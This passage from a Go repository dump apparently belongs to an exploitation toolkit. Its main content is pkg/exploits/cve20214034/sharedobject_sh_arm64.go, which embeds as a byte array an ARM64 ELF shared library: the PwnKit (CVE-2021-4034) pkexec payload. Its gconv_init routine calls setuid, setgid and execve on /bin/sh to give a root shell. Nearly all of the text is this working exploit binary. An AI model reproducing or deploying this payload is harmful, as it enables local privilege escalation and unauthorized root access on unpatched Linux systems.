3, 0, 0, 0, 0, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0,
0, 48, 0, 0, 0, 0, 0, 0, 56, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 8, 0, 0, 0, 0, 0, 0, 0,
8, 0, 0, 0, 0, 0, 0, 0, 236, 0, 0, 0, 1, 0, 0, 0,
3, 0, 0, 0, 0, 0, 0, 0, 56, 64, 0, 0, 0, 0, 0, 0,
56, 48, 0, 0, 0, 0, 0, 0, 8, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 8, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 242, 0, 0, 0, 8, 0, 0, 0,
3, 0, 0, 0, 0, 0, 0, 0, 64, 64, 0, 0, 0, 0, 0, 0,
64, 48, 0, 0, 0, 0, 0, 0, 8, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 247, 0, 0, 0, 1, 0, 0, 0,
48, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
64, 48, 0, 0, 0, 0, 0, 0, 18, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0,
1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 2, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
88, 48, 0, 0, 0, 0, 0, 0, 208, 2, 0, 0, 0, 0, 0, 0,
26, 0, 0, 0, 20, 0, 0, 0, 8, 0, 0, 0, 0, 0, 0, 0,
24, 0, 0, 0, 0, 0, 0, 0, 9, 0, 0, 0, 3, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
40, 51, 0, 0, 0, 0, 0, 0, 185, 1, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 17, 0, 0, 0, 3, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
225, 52, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0,
}
================================================
FILE: pkg/exploits/cve20214034/sharedobject_sh_arm64.go
================================================
//go:build arm64
package cve20214034
var pwnkit_sh_sharedobj = []byte{
127, 69, 76, 70, 2, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0,
3, 0, 183, 0, 1, 0, 0, 0, 240, 5, 0, 0, 0, 0, 0, 0,
64, 0, 0, 0, 0, 0, 0, 0, 216, 25, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 64, 0, 56, 0, 7, 0, 64, 0, 27, 0, 26, 0,
1, 0, 0, 0, 5, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
128, 8, 0, 0, 0, 0, 0, 0, 128, 8, 0, 0, 0, 0, 0, 0,
0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 6, 0, 0, 0,
240, 13, 0, 0, 0, 0, 0, 0, 240, 13, 1, 0, 0, 0, 0, 0,
240, 13, 1, 0, 0, 0, 0, 0, 72, 2, 0, 0, 0, 0, 0, 0,
80, 2, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0,
2, 0, 0, 0, 6, 0, 0, 0, 0, 14, 0, 0, 0, 0, 0, 0,
0, 14, 1, 0, 0, 0, 0, 0, 0, 14, 1, 0, 0, 0, 0, 0,
192, 1, 0, 0, 0, 0, 0, 0, 192, 1, 0, 0, 0, 0, 0, 0,
8, 0, 0, 0, 0, 0, 0, 0, 4, 0, 0, 0, 4, 0, 0, 0,
200, 1, 0, 0, 0, 0, 0, 0, 200, 1, 0, 0, 0, 0, 0, 0,
200, 1, 0, 0, 0, 0, 0, 0, 36, 0, 0, 0, 0, 0, 0, 0,
36, 0, 0, 0, 0, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0,
80, 229, 116, 100, 4, 0, 0, 0, 156, 7, 0, 0, 0, 0, 0, 0,
156, 7, 0, 0, 0, 0, 0, 0, 156, 7, 0, 0, 0, 0, 0, 0,
60, 0, 0, 0, 0, 0, 0, 0, 60, 0, 0, 0, 0, 0, 0, 0,
4, 0, 0, 0, 0, 0, 0, 0, 81, 229, 116, 100, 6, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 16, 0, 0, 0, 0, 0, 0, 0,
82, 229, 116, 100, 4, 0, 0, 0, 240, 13, 0, 0, 0, 0, 0, 0,
240, 13, 1, 0, 0, 0, 0, 0, 240, 13, 1, 0, 0, 0, 0, 0,
16, 2, 0, 0, 0, 0, 0, 0, 16, 2, 0, 0, 0, 0, 0, 0,
1, 0, 0, 0, 0, 0, 0, 0, 4, 0, 0, 0, 20, 0, 0, 0,
3, 0, 0, 0, 71, 78, 85, 0, 23, 211, 159, 10, 87, 61, 50, 147,
219, 123, 142, 252, 140, 221, 122, 210, 239, 232, 124, 152, 0, 0, 0, 0,
2, 0, 0, 0, 11, 0, 0, 0, 1, 0, 0, 0, 6, 0, 0, 0,
0, 0, 0, 16, 4, 0, 34, 0, 11, 0, 0, 0, 12, 0, 0, 0,
99, 12, 127, 15, 53, 167, 82, 128, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 3, 0, 9, 0, 88, 5, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 3, 0, 21, 0,
48, 16, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
102, 0, 0, 0, 18, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 123, 0, 0, 0, 18, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
16, 0, 0, 0, 32, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 70, 0, 0, 0, 34, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
1, 0, 0, 0, 32, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 109, 0, 0, 0, 18, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
116, 0, 0, 0, 18, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 44, 0, 0, 0, 32, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
85, 0, 0, 0, 18, 0, 11, 0, 212, 6, 0, 0, 0, 0, 0, 0,
8, 0, 0, 0, 0, 0, 0, 0, 91, 0, 0, 0, 18, 0, 11, 0,
220, 6, 0, 0, 0, 0, 0, 0, 84, 0, 0, 0, 0, 0, 0, 0,
0, 95, 95, 103, 109, 111, 110, 95, 115, 116, 97, 114, 116, 95, 95, 0,
95, 73, 84, 77, 95, 100, 101, 114, 101, 103, 105, 115, 116, 101, 114, 84,
77, 67, 108, 111, 110, 101, 84, 97, 98, 108, 101, 0, 95, 73, 84, 77,
95, 114, 101, 103, 105, 115, 116, 101, 114, 84, 77, 67, 108, 111, 110, 101,
84, 97, 98, 108, 101, 0, 95, 95, 99, 120, 97, 95, 102, 105, 110, 97,
108, 105, 122, 101, 0, 103, 99, 111, 110, 118, 0, 103, 99, 111, 110, 118,
95, 105, 110, 105, 116, 0, 115, 101, 116, 117, 105, 100, 0, 115, 101, 116,
103, 105, 100, 0, 101, 120, 101, 99, 118, 101, 0, 101, 120, 105, 116, 0,
108, 105, 98, 99, 46, 115, 111, 46, 54, 0, 71, 76, 73, 66, 67, 95,
50, 46, 49, 55, 0, 0, 0, 0, 0, 0, 0, 0, 2, 0, 2, 0,
1, 0, 2, 0, 1, 0, 2, 0, 2, 0, 1, 0, 1, 0, 1, 0,
1, 0, 1, 0, 128, 0, 0, 0, 16, 0, 0, 0, 0, 0, 0, 0,
151, 145, 150, 6, 0, 0, 2, 0, 138, 0, 0, 0, 0, 0, 0, 0,
240, 13, 1, 0, 0, 0, 0, 0, 3, 4, 0, 0, 0, 0, 0, 0,
208, 6, 0, 0, 0, 0, 0, 0, 248, 13, 1, 0, 0, 0, 0, 0,
3, 4, 0, 0, 0, 0, 0, 0, 128, 6, 0, 0, 0, 0, 0, 0,
48, 16, 1, 0, 0, 0, 0, 0, 3, 4, 0, 0, 0, 0, 0, 0,
48, 16, 1, 0, 0, 0, 0, 0, 200, 15, 1, 0, 0, 0, 0, 0,
1, 4, 0, 0, 5, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
208, 15, 1, 0, 0, 0, 0, 0, 1, 4, 0, 0, 6, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 216, 15, 1, 0, 0, 0, 0, 0,
1, 4, 0, 0, 7, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
224, 15, 1, 0, 0, 0, 0, 0, 1, 4, 0, 0, 10, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 16, 1, 0, 0, 0, 0, 0,
2, 4, 0, 0, 3, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
8, 16, 1, 0, 0, 0, 0, 0, 2, 4, 0, 0, 4, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 16, 16, 1, 0, 0, 0, 0, 0,
2, 4, 0, 0, 6, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
24, 16, 1, 0, 0, 0, 0, 0, 2, 4, 0, 0, 7, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 32, 16, 1, 0, 0, 0, 0, 0,
2, 4, 0, 0, 8, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
40, 16, 1, 0, 0, 0, 0, 0, 2, 4, 0, 0, 9, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 31, 32, 3, 213, 253, 123, 191, 169,
253, 3, 0, 145, 35, 0, 0, 148, 253, 123, 193, 168, 192, 3, 95, 214,
240, 123, 191, 169, 144, 0, 0, 144, 17, 254, 71, 249, 16, 226, 63, 145,
32, 2, 31, 214, 31, 32, 3, 213, 31, 32, 3, 213, 31, 32, 3, 213,
144, 0, 0, 176, 17, 2, 64, 249, 16, 2, 0, 145, 32, 2, 31, 214,
144, 0, 0, 176, 17, 6, 64, 249, 16, 34, 0, 145, 32, 2, 31, 214,
144, 0, 0, 176, 17, 10, 64, 249, 16, 66, 0, 145, 32, 2, 31, 214,
144, 0, 0, 176, 17, 14, 64, 249, 16, 98, 0, 145, 32, 2, 31, 214,
144, 0, 0, 176, 17, 18, 64, 249, 16, 130, 0, 145, 32, 2, 31, 214,
144, 0, 0, 176, 17, 22, 64, 249, 16, 162, 0, 145, 32, 2, 31, 214,
128, 0, 0, 144, 0, 236, 71, 249, 64, 0, 0, 180, 241, 255, 255, 23,
192, 3, 95, 214, 31, 32, 3, 213, 31, 32, 3, 213, 31, 32, 3, 213,
128, 0, 0, 176, 0, 224, 0, 145, 129, 0, 0, 176, 33, 224, 0, 145,
63, 0, 0, 235, 192, 0, 0, 84, 129, 0, 0, 144, 33, 228, 71, 249,
97, 0, 0, 180, 240, 3, 1, 170, 0, 2, 31, 214, 192, 3, 95, 214,
128, 0, 0, 176, 0, 224, 0, 145, 129, 0, 0, 176, 33, 224, 0, 145,
33, 0, 0, 203, 34, 252, 127, 211, 65, 12, 129, 139, 33, 252, 65, 147,
193, 0, 0, 180, 130, 0, 0, 144, 66, 240, 71, 249, 98, 0, 0, 180,
240, 3, 2, 170, 0, 2, 31, 214, 192, 3, 95, 214, 31, 32, 3, 213,
253, 123, 190, 169, 253, 3, 0, 145, 243, 11, 0, 249, 147, 0, 0, 176,
96, 226, 64, 57, 64, 1, 0, 53, 128, 0, 0, 144, 0, 232, 71, 249,
128, 0, 0, 180, 128, 0, 0, 176, 0, 24, 64, 249, 193, 255, 255, 151,
216, 255, 255, 151, 32, 0, 128, 82, 96, 226, 0, 57, 243, 11, 64, 249,
253, 123, 194, 168, 192, 3, 95, 214, 31, 32, 3, 213, 31, 32, 3, 213,
220, 255, 255, 23, 31, 32, 3, 213, 192, 3, 95, 214, 253, 123, 188, 169,
253, 3, 0, 145, 224, 15, 0, 249, 0, 0, 0, 144, 0, 32, 29, 145,
224, 27, 0, 249, 255, 31, 0, 249, 0, 0, 0, 144, 0, 64, 29, 145,
224, 19, 0, 249, 255, 23, 0, 249, 0, 0, 128, 82, 161, 255, 255, 151,
0, 0, 128, 82, 175, 255, 255, 151, 224, 27, 64, 249, 226, 131, 0, 145,
225, 195, 0, 145, 175, 255, 255, 151, 0, 0, 128, 82, 157, 255, 255, 151,
31, 32, 3, 213, 253, 123, 191, 169, 253, 3, 0, 145, 253, 123, 193, 168,
192, 3, 95, 214, 0, 0, 0, 0, 47, 98, 105, 110, 47, 115, 104, 0,
80, 65, 84, 72, 61, 47, 117, 115, 114, 47, 108, 111, 99, 97, 108, 47,
115, 98, 105, 110, 58, 47, 117, 115, 114, 47, 108, 111, 99, 97, 108, 47,
98, 105, 110, 58, 47, 117, 115, 114, 47, 115, 98, 105, 110, 58, 47, 117,
115, 114, 47, 98, 105, 110, 58, 47, 115, 98, 105, 110, 58, 47, 98, 105,
110, 58, 47, 111, 112, 116, 47, 98, 105, 110, 0, 0, 1, 27, 3, 59,
56, 0, 0, 0, 6, 0, 0, 0, 116, 254, 255, 255, 80, 0, 0, 0,
164, 254, 255, 255, 100, 0, 0, 0, 228, 254, 255, 255, 120, 0, 0, 0,
52, 255, 255, 255, 156, 0, 0, 0, 56, 255, 255, 255, 180, 0, 0, 0,
64, 255, 255, 255, 200, 0, 0, 0, 16, 0, 0, 0, 0, 0, 0, 0,
1, 122, 82, 0, 4, 120, 30, 1, 27, 12, 31, 0, 16, 0, 0, 0,
24, 0, 0, 0, 28, 254, 255, 255, 48, 0, 0, 0, 0, 0, 0, 0,
16, 0, 0, 0, 44, 0, 0, 0, 56, 254, 255, 255, 60, 0, 0, 0,
0, 0, 0, 0, 32, 0, 0, 0, 64, 0, 0, 0, 100, 254, 255, 255,
72, 0, 0, 0, 0, 65, 14, 32, 157, 4, 158, 3, 66, 147, 2, 78,
222, 221, 211, 14, 0, 0, 0, 0, 20, 0, 0, 0, 100, 0, 0, 0,
144, 254, 255, 255, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
16, 0, 0, 0, 124, 0, 0, 0, 124, 254, 255, 255, 8, 0, 0, 0,
0, 0, 0, 0, 20, 0, 0, 0, 144, 0, 0, 0, 112, 254, 255, 255,
84, 0, 0, 0, 0, 65, 14, 64, 157, 8, 158, 7, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
208, 6, 0, 0, 0, 0, 0, 0, 128, 6, 0, 0, 0, 0, 0, 0,
1, 0, 0, 0, 0, 0, 0, 0, 128, 0, 0, 0, 0, 0, 0, 0,
12, 0, 0, 0, 0, 0, 0, 0, 88, 5, 0, 0, 0, 0, 0, 0,
13, 0, 0, 0, 0, 0, 0, 0, 48, 7, 0, 0, 0, 0, 0, 0,
25, 0, 0, 0, 0, 0, 0, 0, 240, 13, 1, 0, 0, 0, 0, 0,
27, 0, 0, 0, 0, 0, 0, 0, 8, 0, 0, 0, 0, 0, 0, 0,
26, 0, 0, 0, 0, 0, 0, 0, 248, 13, 1, 0, 0, 0, 0, 0,
28, 0, 0, 0, 0, 0, 0, 0, 8, 0, 0, 0, 0, 0, 0, 0,
245, 254, 255, 111, 0, 0, 0, 0, 240, 1, 0, 0, 0, 0, 0, 0,
5, 0, 0, 0, 0, 0, 0, 0, 80, 3, 0, 0, 0, 0, 0, 0,
6, 0, 0, 0, 0, 0, 0, 0, 24, 2, 0, 0, 0, 0, 0, 0,
10, 0, 0, 0, 0, 0, 0, 0, 149, 0, 0, 0, 0, 0, 0, 0,
11, 0, 0, 0, 0, 0, 0, 0, 24, 0, 0, 0, 0, 0, 0, 0,
3, 0, 0, 0, 0, 0, 0, 0, 232, 15, 1, 0, 0, 0, 0, 0,
2, 0, 0, 0, 0, 0, 0, 0, 144, 0, 0, 0, 0, 0, 0, 0,
20, 0, 0, 0, 0, 0, 0, 0, 7, 0, 0, 0, 0, 0, 0, 0,
23, 0, 0, 0, 0, 0, 0, 0, 200, 4, 0, 0, 0, 0, 0, 0,
7, 0, 0, 0, 0, 0, 0, 0, 32, 4, 0, 0, 0, 0, 0, 0,
8, 0, 0, 0, 0, 0, 0, 0, 168, 0, 0, 0, 0, 0, 0, 0,
9, 0, 0, 0, 0, 0, 0, 0, 24, 0, 0, 0, 0, 0, 0, 0,
254, 255, 255, 111, 0, 0, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0,
255, 255, 255, 111, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0,
240, 255, 255, 111, 0, 0, 0, 0, 230, 3, 0, 0, 0, 0, 0, 0,
249, 255, 255, 111, 0, 0, 0, 0, 3, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 14, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
112, 5, 0, 0, 0, 0, 0, 0, 112, 5, 0, 0, 0, 0, 0, 0,
112, 5, 0, 0, 0, 0, 0, 0, 112, 5, 0, 0, 0, 0, 0, 0,
112, 5, 0, 0, 0, 0, 0, 0, 112, 5, 0, 0, 0, 0, 0, 0,
48, 16, 1, 0, 0, 0, 0, 0, 71, 67, 67, 58, 32, 40, 71, 78,
85, 41, 32, 49, 49, 46, 50, 46, 48, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 3, 0, 1, 0,
200, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 3, 0, 2, 0, 240, 1, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 3, 0, 3, 0,
24, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 3, 0, 4, 0, 80, 3, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 3, 0, 5, 0,
230, 3, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 3, 0, 6, 0, 0, 4, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 3, 0, 7, 0,
32, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 3, 0, 8, 0, 200, 4, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 3, 0, 9, 0,
88, 5, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 3, 0, 10, 0, 112, 5, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 3, 0, 11, 0,
240, 5, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 3, 0, 12, 0, 48, 7, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 3, 0, 13, 0,
72, 7, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 3, 0, 14, 0, 156, 7, 0, 0, 0, 0, 0, 0,
